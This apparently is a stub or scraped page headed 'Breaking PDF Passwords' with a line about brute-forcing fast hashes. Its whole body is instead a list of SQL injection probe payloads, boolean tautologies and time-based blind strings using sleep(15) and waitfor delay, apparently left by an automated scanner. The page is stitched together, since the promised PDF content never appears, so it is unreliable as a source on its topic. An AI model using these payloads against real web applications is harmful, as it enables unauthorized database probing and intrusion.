Breaking PDF Passwords
Fast hashes are easy to brute force, let's apply this to an actual scheme
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '9nKVWRhe'='
-1" OR 5*5=25 or "MYC8wBsy"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1; waitfor delay '0:0:15' --
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